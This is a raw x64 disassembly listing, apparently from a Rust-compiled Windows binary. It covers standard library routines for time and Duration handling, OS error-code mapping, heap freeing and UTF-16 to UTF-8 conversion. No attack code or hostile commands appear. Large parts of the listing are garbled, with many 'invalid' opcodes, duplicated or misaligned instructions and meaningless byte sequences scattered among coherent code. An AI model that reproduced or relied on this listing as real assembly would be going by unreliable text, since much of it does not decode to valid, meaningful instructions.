xor r8d, r8d
cmp rcx, 2
stc
add al, byte [rcx + 0xf]
xchg edx, eax
ror byte [rax - 0x7f], 0xf9
stc
add dl, cl
invalid
cmp esi, dword [rdi + 0xb]
invalid
or edi, dword [rax + 0x3b9aca00]
mov eax, 0x3b9aca00
cmp esi, dword [rcx]
sal bh, cl
int1
xor edx, edx
div ecx
jmp case.0x14006c156.333
xor eax, eax
lea edx, [rax - 0x3b9aca00]
cmp rcx, 2
stc
add cl, byte [rdi]
ror byte [r9 + 0x9e8c1d0], 1
ror byte [rcx + 0x9e8c1d0], 1
call 0x100710c57
imul eax, eax, 0x44b83
imul eax, eax, 0x44b83
shr rax, 0x27
add r8, rax
imul eax, eax, 0x3b9aca00
invalid
cmp ebp, dword [rcx]
ret 0x8b48
mov rax, qword [rbx]
mov r9, rdi
mov ecx, edi
sub r9, rax
sub ecx, eax
invalid
jae case.0x14006c156.347
mov ecx, dword [rbx + 8]
jmp 0x14007c47a
mov ecx, dword [rbx + 8]
jne 0x14007c4c2
invalid
cmp ecx, esi
jb 0x14007c4c2
invalid
mov edx, 0x3b9aca00
sub rax, rdi
clc
jae case.0x14006c156.353
retf 0x3b9a
sub ecx, esi
mov edx, ecx
retf 0xeac1
or dword [rax + 0x69], ecx
rol byte [rbx + 0x4800044b], cl
add al, 0
shr rdx, 0x27
retf 0xeac1
add rax, rdx
jb 0x14007c53d
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x2e], ch
rol byte [rax], cl
invalid
invalid
add byte [rax], al
imul edx, edx, 0x3b9aca00
sub ecx, edx
mov edx, ecx
jmp 0x14007c51a
cmp ecx, esi
jbe 0x14007c4db
invalid
adc eax, 0xfc9854d
test cl, ah
add byte [rax], al
add byte [rcx - 1], cl
leave
test r9, r9
leave
je case.0x14007636c.32
dec r9
lea r10d, [rsi + 0x3b9aca00]
jmp 0x14007c4de
invalid
mov r10d, esi
sub r10d, ecx
mov r11d, r10d
shr r11d, 9
imul r11, r11, 0x44b83
add al, 0
or dword [rbp + 0x69], ecx
fild dword [rbx + 0x4900044b]
add al, 0
shr r11, 0x27
shr ebx, 0x27
add r9, r11
jb 0x14007c53d
fnstenv [rdx + 0x45]
cmp r9, r8
cmp ecx, eax
jb case.0x1400281ec.1228
jne 0x14007c47a
imul r8d, r11d, 0x3b9aca00
sub r10d, r8d
cmp r10d, edx
ja 0x14007c47a
invalid
add dl, cl
invalid
xchg dword [rdi + rdi*8 - 1], esp
invalid
push qword [rcx]
sal byte [rcx], 0xd2
xor eax, eax
xor edx, edx
add rsp, 0x68
pop rbx
pop rdi
invalid
push 0x5d5e5f5b
pop rsi
pop rbp
ret
lea rcx, [0x1400e7c70]
lea r8, str.library_std_src_syswindows_time.rs
jmp rbx
invalid
invalid
mov dil, 6
add byte [rbp + rcx*4 + 5], cl
add eax, 0x6e3ff
jmp rbx
invalid
add byte [rdx + 0x19], bh
mov edx, 0x19
sbb dword [rax], eax
add byte [rax], al
call fcn.1400a9e70
ud2
xor eax, 0xf0002d9
or ecx, dword [rax - 0x73]
lea rax, str.overflow_in_Duration::new
add eax, 0x6b944
invalid
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
mov qword [rbp - 0x30], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
rol byte [rcx], 1
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
lea eax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
invalid
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_time.rs
ja 0x14007c520
invalid
lea rcx, [rbp - 0x38]
lea ecx, [rbp - 0x38]
enter 0x3ee8, 0xffffffffffffffd7
call fcn.1400a9cb0
xlatb
add al, byte [rax]
ud2
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x38], rax
enter 0xffffffffffff8d48, 5
mov ebx, 0x480006e3
mov qword [rsp + 0x20], rax
enter 0xffffffffffff8d48, 5
mov ebx, 0x480006e3
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140079f00
lea r8, [rbp - 0x38]
mov edx, 0x2b
call fcn.1400aa200
add al, byte [rax]
ud2
xchg edi, eax
int1
invalid
lea rcx, str.overflow_when_subtracting_durations
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_time.rs
lea eax, [0x1400ea8f0]
jrcxz 0x14007c5c3
add byte [rdx + 0x23], bh
mov edx, 0x23
add byte [rax], al
add al, ch
fcomp st(4)
add al, byte [rax]
invalid
add byte [rax], al
add al, ch
fcomp st(4)
add al, byte [rax]
invalid
ud2
or esp, dword [rsi + 0xf]
invalid
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
invalid
add byte [rax - 0x77], cl
push rsp
and al, 0x10
invalid
adc byte [rbp + 0x56], dl
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
invalid
lea rcx, [rbp - 0x38]
invalid
invalid
invalid
enter 0x16e8, 0xffffffffffffffd9
invalid
call fcn.140079f00
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, qword [rcx]
mov eax, edi
and eax, 3
lea rcx, [0x1400eff94]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
mov eax, dword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x6c71c
sbb al, 0xc7
invalid
invalid
lea rdx, [0x1400e8d5b]
sbb al, 0xc7
invalid
mov dword [rsi], 0x5b84100
add byte [rax], al
invalid
add byte [rcx - 0x48], al
mov r8d, 5
add eax, 0xff000000
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
jne case.0x14007cad1.378
push rax
sbb byte [rax - 0x77], cl
jne case.0x14007cad1.378
mov byte [rbp - 0x18], al
mov byte [rbp - 0x17], 0
jmp 0x18f951256
lea r9, [rdi + 0x10]
adc byte [rax - 0x73], cl
add eax, 0xd42
add eax, 0xd42
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
adc eax, 0x6c6c1
lea rdx, [0x1400e8d2b]
lea edx, [0x1400e8d2b]
lea rsi, [rbp - 0x20]
mov r8d, 4
add byte [rax - 0x77], cl
int1
jne 0x14007c64e
add byte [rax - 0x77], cl
int1
mov ecx, esi
call fcn.1400435d0
lea rax, [0x14006fb20]
mov qword [rsp + 0x20], rax
and al, 0x20
invalid
and al, 0x20
and byte [rax - 0x73], cl
adc eax, 0x6c6c1
lea rdx, str.messageKindErrorCustomerror__os_error__
mov r8d, 7
mov rcx, rsi
add byte [rax - 0x77], cl
int1
mov r9, rdi
stc
call fcn.1400435d0
outsd dx, dword [rsi]
cld
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
invalid
cmp byte [rbp - 0x17], 0
add byte [rdi], cl
movzx ebx, byte [rbp - 0x18]
jne 0x14007c73d
invalid
pop qword [rax]
add byte [rax], al
mov dh, 0x5d
pop rbp
call 0x140974bbb
test dword [rdi - 0x17000000], ecx
pop qword [rax]
add byte [rax], al
add cl, ch
jmp case.0x1400689bc.905
jns 0x14007c6b4
add eax, dword [rax]
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rdi - 1]
lea eax, [rdi - 1]
dec dword [r8 - 0x7d]
dec dword [rax - 0x7d]
add rdi, 0xf
add edi, 0xf
invalid
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
lea edx, [0x1400e8d60]
mov eax, dword [rsi + 0x28]
lea rdx, [0x1400e8d60]
lea edx, [0x1400e8d60]
xchg edx, eax
mov byte [rsi], 0
invalid
add byte [rcx - 0x48], al
mov r8d, 6
invalid
add byte [rax], al
add bh, bh
push rax
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
jne 0x14007c6bb
mov byte [rbp - 0x18], al
call 0x140f10ca8
sbb byte [rax - 0x77], cl
jne 0x14007c6bb
loopne 0x14007c664
call 0x140f10ca8
call 0x140f10ca8
jmp 0x145950ee5
jmp 0x145950ee5
lea rax, [0x14007d3a0]
lea eax, [0x14007d3a0]
or al, 0
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
add byte [rax], al
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x1400e8d2b]
lea edx, [0x1400e8d2b]
mov byte [rsi], 0
lea rsi, [rbp - 0x20]
mov r8d, 4
add byte [rax], al
mov rcx, rsi
int1
mov r9, rdi
call fcn.1400435d0
lea rax, [0x14007d380]
cld
dec dword [rax - 0x73]
add eax, 0xc6f
outsd dx, dword [rsi]
or al, 0
add byte [rax - 0x77], cl
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and al, 0x20
and byte [rax - 0x73], cl
lea rdx, [0x1400e8d66]
adc eax, 0x6c649
mov byte [r14], 0
mov byte [rsi], 0
invalid
lea r9, [rbp - 0x38]
enter 0xffffffffffffb841, 5
enter 0xffffffffffffb841, 5
mov r8d, 5
add eax, 0x48000000
mov ecx, esi
int1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call fcn.1400435d0
outsb dx, byte [rsi]
cld
inc dword [rax + 0xf00e97d]
cmp byte [rbp - 0x17], 0
invalid
cmp byte [rbp - 0x17], 0
jge 0x14007c71b
jmp 0x19dbdd636
add byte [rdi], cl
movzx ebx, byte [rbp - 0x18]
je case.0x1400689bc.905
out dx, eax
add al, byte [rax]
invalid
mov dh, 0x5d
pop rbp
call 0x142f74b4a
add byte [rax], al
invalid
out dx, eax
add al, byte [rax]
add byte [rbx + rbx*8 - 0x7af0fe4d], al
in eax, 2
test bl, bl
mov bl, 1
jne case.0x1400689bc.905
test ebp, esp
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov rax, qword [rbp - 0x20]
test byte [rax + 0x34], 4
loopne case.0x14007c870.355
xor al, 4
xor al, 4
jne case.0x14007636c.45
and al, 1
add byte [rax], al
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e3757]
mov r8d, 2
add al, byte [rax]
add byte [rax], al
outsd dx, dword [rsi]
invalid
mov eax, 2
add al, byte [rax]
add byte [rax], al
add cl, ch
mov ah, 2
jmp 0x14007ca23
add byte [rax], al
shr rdi, 0x20
mov dword [rbp - 0x24], edi
mov rcx, qword [rsi + 0x20]
invalid
invalid
out dx, eax
and byte [rcx - 0x74b72383], cl
fmul qword [rax - 0x75]
and byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8d25]
lea edx, [0x1400e8d25]
invalid
invalid
sub byte [rax - 0x73], r9b
adc eax, 0x6c5a0
invalid
invalid
invalid
mov r8d, 2
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
jne 0x14007c75a
enter 0x4588, 0xffffffffffffffd0
mov byte [rbp - 0x2f], 0
rol dword [rax], 1
rol dword [rax], 1
lea rax, [0x14004cf80]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rdx, [0x1400e8d27]
invalid
invalid
add byte [rax - 0x73], cl
lea esi, [rbp - 0x38]
lea r9, [rbp - 0x24]
lea ecx, [rbp - 0x24]
mov r8d, 4
mov eax, 4
add al, 0
add byte [rax], al
invalid
add al, 0
add byte [rax], al
invalid
mov rcx, rsi
call fcn.1400435d0
invalid
mov ecx, dword [rbp - 0x24]
call fcn.14007ca80
add byte [rax], al
mov byte [rbp - 1], al
lea rax, [0x14007d3a0]
or eax, dword [rax]
invalid
dec dword [r8 - 0x73]
add eax, 0xbcc
or eax, dword [rax]
invalid
mov qword [rsp + 0x20], rax
lea rdx, [0x1400e8d2b]
lea r9, [rbp - 1]
lea ecx, [rbp - 1]
inc qword [r9 - 0x48]
add al, 0
add byte [rax], al
invalid
invalid
add byte [rbp + rcx*4 + 0x4d], cl
inc qword [r9 - 0x48]
inc dword [rcx - 0x48]
add al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400435d0
dec dword [rbx - 0x72b723ab]
mov edx, dword [rbp - 0x24]
lea rdi, [rbp - 0x20]
jge case.0x140075009.121
jge case.0x140075009.121
loopne 0x14007c842
mov rcx, rdi
mov ecx, edi
call fcn.14007cc40
add byte [rax], al
lea rax, [0x140040220]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
cld
dec dword [rax - 0x77]
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rdx, str.messageKindErrorCustomerror__os_error__
mov r8d, 7
mov eax, 7
invalid
invalid
mov eax, 7
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
mov ecx, esi
mov r9, rdi
stc
call fcn.1400435d0
stosd dword [rdi], eax
insd dword [rdi], dx
cld
inc dword [rax + 0xf00d17d]
cmp byte [rbp - 0x2f], 0
movzx ebx, byte [rbp - 0x30]
je case.0x140028086.1069
mov al, 1
test bl, bl
jne case.0x140076467.32
mov rax, qword [rbp - 0x38]
test byte [rax + 0x34], 4
jne case.0x140076270.42
mov rcx, qword [rax + 0x20]
cmp byte [rbp - 0x2f], 0
movzx ebx, byte [rbp - 0x30]
je case.0x140028086.1069
mov al, 1
test bl, bl
jne case.0x140076467.32
mov rax, qword [rbp - 0x38]
mov eax, dword [rbp - 0x38]
test byte [rax + 0x34], 4
jne case.0x140076270.42
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e3757]
adc eax, 0x66f09
or dword [rdi + 6], ebp
outsd dx, dword [rsi]
invalid
add byte [rcx - 0x48], al
add al, byte [rax]
invalid
mov r8d, 2
add byte [rax], al
add bh, bh
invalid
add byte [rax], al
call qword [rax + 0x18]
jmp case.0x140076467.32
push rax
sbb bl, ch
shr rdi, 0x20
shr rdi, 0x20
shr rdi, 0x20
out dx, eax
and byte [rbx + 0x6b7728ff], al
cmp edi, 0x28
ja case.0x14007651e.34
cmp edi, 0x28
ja case.0x14007651e.34
imul ecx, dword [rax - 0x73], 5
lea rax, [0x1400effa4]
cmp esi, dword [rdi]
invalid
movsxd rcx, dword [rax + rdi*4]
add rcx, rax
add ecx, eax
jmp rcx
loope 0x14007c8a4
xor eax, eax
shr cl, 0xe
add dword [rax], eax
add byte [rax], al
invalid
invalid
jmp 0x14007c987
invalid
add byte [rax], al
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
lea rdx, [0x1400e9593]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
lea rdx, [0x1400e9593]
lea edx, [0x1400e9593]
or ecx, ebp
invalid
int 6
add cl, ch
jmp 0x14007ca1d
nop
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rax + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e9593]
lea edx, [0x1400e9593]
adc eax, 0x6ccf7
int3
mov r8d, 1
mov eax, 1
add dword [rax], eax
add byte [rax], al
add bh, bh
push rax
call qword [rax + 0x18]
sbb byte [rax - 0x3c762fbb], cl
mov byte [rbp - 0x30], al
mov ebx, eax
ret
ror byte [rcx + 0x7d8348c3], 1
ret
cmp qword [rbp - 0x18], 0
je case.0x1400689bc.905
ja case.0x14002f3a6.999
add byte [rax], al
invalid
call 0x1b78bd7b2
add dword [rax], eax
add byte [rdi], cl
test byte [rdi + 1], dh
ja case.0x14002f3a6.999
add byte [rax], al
invalid
ja case.0x14002f3a6.999
add byte [rbx + rcx*4 + 0x45], cl
loopne case.0x14002f3a6.1004
invalid
mov r8, qword [rbp - 0x20]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
leave
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp eax, dword [rbx]
invalid
sar bh, cl
adc eax, 0x33b40
cmp eax, dword [rbx]
invalid
cmp eax, dword [rbx]
cmp eax, dword [rbx]
add cl, ch
jmp case.0x1400689bc.905
pop rdi
add dword [rax], eax
add byte [rax], al
mov al, 0x29
invalid
mov bl, 0
invalid
add byte [rax], al
mov al, 0x29
jmp 0x14007c987
add byte [rax], al
add byte [rax + 0xace901], dh
mov al, 1
invalid
lodsb al, byte [rsi]
invalid
add byte [rax], al
mov al, 1
jmp 0x14007c987
add byte [rax], al
add ecx, ebp
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
mov al, 2
invalid
movsd dword [rdi], dword [rsi]
invalid
add byte [rax], al
mov al, 2
jmp 0x14007c987
add byte [rax], al
add byte [rax + 0x9ee903], dh
mov al, 3
add ebp, ecx
jmp 0x14007c987
sahf
add byte [rax], al
add byte [rax], al
mov al, 4
invalid
xchg edi, eax
invalid
add byte [rax], al
mov al, 4
jmp 0x14007c987
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x90e905], dh
mov al, 5
invalid
nop
invalid
add byte [rax], al
mov al, 5
jmp 0x14007c987
add byte [rax], al
add eax, 0x90e9
add byte [rax + 0x89e906], dh
mov al, 6
jmp 0x14007c987
add byte [rax], al
mov al, 6
jmp 0x14007c987
add byte [rax + 0x82e907], dh
add byte [rax], al
invalid
mov al, 7
jmp 0x14007c987
invalid
add byte [rax], al
invalid
invalid
add byte [rax], al
add byte [rax - 0x4f8114f8], dh
or ebx, ebp
jmp 0x14007c987
invalid
mov al, 8
jmp 0x14007c987
mov al, 9
jmp 0x14007c987
mov al, 0xa
jmp 0x14007c987
or ch, bl
jbe 0x14007c8c2
invalid
mov al, 0xb
jmp 0x14007c987
mov al, 0xc
jmp 0x14007c987
mov al, 0xd
jmp 0x14007c987
mov al, 0xe
jmp 0x14007c987
mov al, 0xf
jmp 0x14007c987
mov al, 0x10
jmp 0x14007c987
mov al, 0x11
jmp 0x14007c987
mov al, 0x12
jmp 0x14007c987
push rsi
mov al, 0x13
jmp 0x14007c987
mov al, 0x14
adc al, 0xeb
mov al, 0x15
mov al, 0x15
jmp 0x14007c987
mov al, 0x15
jmp 0x14007c987
mov al, 0x16
mov al, 0x16
jmp 0x14007c987
mov al, 0x17
jmp 0x14007c987
mov al, 0x18
jmp 0x14007c987
mov al, 0x19
jmp 0x14007c987
mov al, 0x1a
jmp 0x14007c987
mov al, 0x1b
jmp 0x14007c987
mov al, 0x1c
jmp 0x14007c987
mov al, 0x1d
jmp 0x14007c987
mov al, 0x1e
jmp 0x14007c987
mov al, 0x1f
mov al, 0x1f
jmp 0x14007c987
mov al, 0x20
and bl, ch
invalid
jmp 0x14007c987
mov al, 0x21
jmp 0x14007c987
sbb dh, byte [rax - 0x4fe914de]
mov al, 0x22
jmp 0x14007c987
mov al, 0x23
jmp 0x14007c987
and ebp, ebx
adc dh, byte [rax - 0x4ff114dc]
mov al, 0x24
jmp 0x14007c987
mov al, 0x25
jmp 0x14007c987
mov al, 0x26
mov al, 0x24
jmp 0x14007c987
mov al, 0x25
jmp 0x14007c987
mov al, 0x26
jmp 0x14007c987
mov al, 0x27
jmp 0x14007c987
invalid
mov al, 0x28
mov byte [rbp - 0x38], al
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8d57]
ret
invalid
add byte [rcx - 0x48], al
add al, 0
add byte [rax], al
ret
call qword [rax + 0x18]
mov qword [rbp - 0x18], rsi
mov dword [rbp - 0x18], esi
mov byte [rbp - 0x10], al
mov qword [rbp - 0x20], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rbp - 0xf], 0
lea r8, [0x1400e8d30]
add eax, 0x6c374
lea rcx, [rbp - 0x20]
lea rdx, [rbp - 0x38]
call fcn.140043e60
mov rax, qword [rbp - 0x20]
loopne case.0x140075009.137
mov dh, 0x4d
invalid
invalid
test rax, rax
test eax, eax
invalid
je 0x14007ca2a
mov bl, 1
test cl, cl
jne case.0x1400689bc.905
call 0x142004d2c
jne 0x14007ca0e
cmp byte [rbp - 0xf], 0
je 0x14007ca0e
test byte [rsi + 0x34], 4
jne 0x14007ca0e
lea rdx, [0x1400e76f5]
adc eax, 0x6acf4
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne case.0x1400689bc.905
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8d76]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
call qword [rax + 0x18]
mov ebx, eax
jmp case.0x1400689bc.905
mov ebx, ecx
test bl, bl
setne al
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
invalid
pop rbx
pop rdi
xchg ebp, eax
ror byte [rax - 0x7d], 0xc4
push 0x5d5e5f5b
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x60]
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
cmp qword [rbp - 0x18], 0
je 0x14007ca6b
invalid
call 0x18c1b3e59
mov eax, dword [rbp - 0x20]
invalid
adc ecx, dword [rbx + rcx*4 + 0x45]
mov r8, qword [rbp - 0x20]
loopne 0x14007caa5
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
add byte [rcx], dh
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
sar bh, cl
adc eax, 0x3399d
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
int3
int3
add dword [rcx + 0x3e2f9], eax
loop 0x14007ca89
add byte [rax], al
add byte [rsi + 0x2a], bh
jle 0x14007cab4
sub al, byte [rcx + 0x271cf9]
add byte [rsi + 0x44], bh
cmp ecx, 0x271c
jle 0x14007cad6
lea edx, [rcx - 0x271d]
cmp edx, 0x34
ja case.default.0x14007caaf
jrcxz 0x14007ca6e
lea rcx, [0x1400f0470]
lea ecx, [0x1400f0470]
enter 0x739, 0
cmp dword [rdi], eax
add byte [rax + 0x63], cl
adc al, 0x91
movsxd rdx, dword [rcx + rdx*4]
add rdx, rcx
jmp rdx
invalid
loop case.0x14007636c.198
mov al, 0xd
or eax, 0xfe518dc3
ret
lea edx, [rcx - 2]
inc byte [rcx + 0x109fa]
cmp edx, 0x109
or dword [rcx], eax
add byte [rax], al
invalid
add byte [rdi], cl
xchg esi, edx
invalid
ja case.default.0x14007cad1
invalid
add byte [rax], al
add byte [rax - 0x73], cl
invalid
invalid
lea rcx, [0x1400f0048]
or eax, 0x7357e
jle 0x14007cafd
invalid
add byte [rax + 0x63], cl
movsxd rdx, dword [rcx + rdx*4]
adc al, 0x91
add rdx, rcx
add edx, ecx
jmp rdx
xor eax, eax
ret
cmp ecx, 0x50e
jle 0x14007cb0f
invalid
add eax, 0x317e0000
xor dword [rcx + 0x1b7ff9], eax
cmp ecx, 0x1b7f
stc
jg 0x14007cafd
add byte [rax], al
add byte [rdi + 0x58], bh
jg 0x14007cb3e
cmp ecx, 0x1715
invalid
jg 0x14007cbaf
invalid
add byte [rax], al
add byte [rcx + 0x50ff9], al
cmp ecx, 0x50f
invalid
add byte [rax], al
cmp ecx, 0x50f
stc
syscall
add eax, 0x840f0000
add byte [rax], al
je 0x14007cc29
test byte [rbx], ch
add dword [rax], eax
invalid
sub eax, dword [rcx]
add byte [rax], al
add byte [rcx + 0x5b4f9], al
add byte [rdi], cl
cmp ecx, 0x5b4
stc
mov ah, 5
add byte [rax], al
je case.0x14007caaf.10060
test dl, bl
add byte [rax], al
add cl, ch
invalid
jmp case.0x14007caaf.10014
add byte [rax], al
add byte [rcx + 0x46af9], al
add byte [rsi + 0x65], bh
invalid
cmp ecx, 0x46a
stc
push 4
add byte [rax], al
jle case.0x14007c870.209
cmp ecx, 0x4ce
cmp ecx, 0x4ce
invalid
add byte [rdi], cl
invalid
jg 0x14007cbc1
sahf
add byte [rax], al
add byte [rcx + 0x46bf9], al
cmp ecx, 0x46b
imul eax, dword [rax + rax], 0
add al, 0
add byte [rdi], cl
test ch, bh
je 0x14007cc2c
add byte [rax], al
add byte [rcx + 0x476f9], al
invalid
stc
jbe 0x14007cb37
add al, 0
cmp ecx, 0x476
stc
jbe 0x14007cb37
invalid
add al, 0
add byte [rax], al
add byte [rdi], cl
jne case.0x14007caaf.10014
test dword [rsi - 0x50000000], edi
add byte [rax], al
mov al, 0x20
ret
and bl, al
cmp ecx, 0x2021
stc
and dword [rax], esp
add byte [rax], al
invalid
add byte [rdi], cl
jg 0x14007cbd4
invalid
mov al, byte [rax]
add byte [rax], al
invalid
add byte [rcx + 0x1b80f9], al
cmp ecx, 0x1b80
je case.0x14007caaf.10060
invalid
sbb byte [rbx], 0
add byte [rdi], cl
test byte [rsi - 0x7f000000], cl
invalid
invalid
stc
invalid
add byte [rcx + 0x1f4ef9], al
add byte [rdi], cl
cmp ecx, 0x1f4e
je case.0x14007caaf.10060
invalid
invalid
add byte [rax], al
add byte [rax], al
test byte [rdx - 0x17000000], al
add byte [rax], al
jmp case.0x14007caaf.10014
xchg edx, eax
add byte [rax], al
add byte [rbp - 0x3c297f], cl
lea eax, [rcx - 0x3c2a]
invalid
inc dword [rbx + 0x727202f8]
cmp eax, 2
add dh, byte [rdx + 0x72]
jb case.0x14007caaf.10060
cmp ecx, 0x35ed
stc
in eax, dx
xor eax, 0x6a740000
add byte [rax], al
je case.0x14007caaf.10060
add byte [rax], al
je case.0x14007caaf.10060
push 0xffffffffffffffeb
jge 0x14007cafe
invalid
jmp case.0x14007caaf.10014
cmp ecx, 0x3e3
stc
jrcxz 0x14007cb83
invalid
add eax, dword [rax]
add byte [rax + riz*2 - 0x7f], dh
je case.0x14007caaf.10060
cmp ecx, 0x41d
je case.0x14007caaf.10060
add byte [rax], al
je case.0x14007caaf.10060
invalid
cmp ecx, 0x41d
je case.0x14007caaf.10060
cmp ecx, 0x461
je case.0x14007caaf.10060
jmp case.0x14007caaf.10014
mov al, 0x21
ret
cmp ecx, 0x150
je 0x14007cc2f
cmp ecx, 0x252
je case.0x14007caaf.10060
jmp case.0x14007caaf.10014
cmp ecx, 0x1716
je case.0x14007caaf.10060
cmp ecx, 0x1b64
je case.0x14007caaf.10060
jmp case.0x14007caaf.10014
cmp ecx, 0x4cf
je case.0x14007caaf.10051
cmp ecx, 0x4d0
jne case.0x14007caaf.10014
mov al, 4
ret
cmp ecx, 0x2022
je case.0x14007caaf.10060
cmp ecx, 0x25e9
jne case.0x14007caaf.10014
mov al, 0x16
ret
mov al, 0x26
ret
mov al, 0x18
ret
mov al, 0xc
ret
mov al, 0x14
ret
mov al, 0xb
ret
mov al, 5
ret
mov al, 0x28
ret
mov al, 8
ret
mov al, 9
ret
mov al, 0xa
ret
mov al, 6
ret
mov al, 3
ret
mov al, 7
ret
mov al, 2
ret
mov al, 0x1f
ret
mov al, 0x11
ret
mov al, 0x24
ret
mov al, 0x19
ret
mov al, 0x10
ret
mov al, 0x1c
ret
mov al, 0x1b
ret
mov al, 0xe
ret
mov al, 0x1a
ret
mov al, 0x1e
ret
mov al, 0xf
ret
mov rdi, qword [rbp + 0x1010]
mov r12, qword [rbp + 0x1000]
mov byte [r12 + rdi], r13b
inc rdi
mov qword [rbp + 0x1010], rdi
cmp rbx, rsi
je 0x14007cfab
lea rdx, [rbx + 2]
movzx ecx, word [rbx]
movzx eax, cx
mov r8d, ecx
and r8d, 0xf800
cmp r8d, 0xd800
jne 0x14007ce90
cmp eax, 0xdbff
ja 0x14007d086
cmp rdx, rsi
je 0x14007d086
movzx eax, word [rdx]
lea edx, [rax + 0x2000]
movzx edx, dx
cmp edx, 0xfc00
jb 0x14007d086
add rbx, 4
and ecx, 0x3ff
and eax, 0x3ff
shl rcx, 0x1a
shl rax, 0x10
or rax, rcx
movabs rcx, 0x100000000
add rax, rcx
mov r13, rax
shr r13, 0x10
cmp r13d, 0x80
jb 0x14007cea7
mov dword [rbp + 0xfe0], 0
cmp r13d, 0x800
jae 0x14007ced0
shr eax, 0x16
or al, 0xc0
mov byte [rbp + 0xfe0], al
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp + 0xfe1], r13b
mov r13d, 2
add byte [rax], al
mov rax, qword [rbp + 0x1008]
adc byte [rax], al
add byte [rax + 0x29], cl
clc
cmp rax, r13
jb 0x14007cf6d
jmp 0x14007cf89
shl rax, 0x10
mov rbx, rdx
mov r13, rax
shr r13, 0x10
cmp r13d, 0x80
add byte [rax], al
jae 0x14007ce39
cmp rdi, qword [rbp + 0x1008]
jne 0x14007cd97
mov rcx, r14
mov rdx, rdi
call fcn.140040690
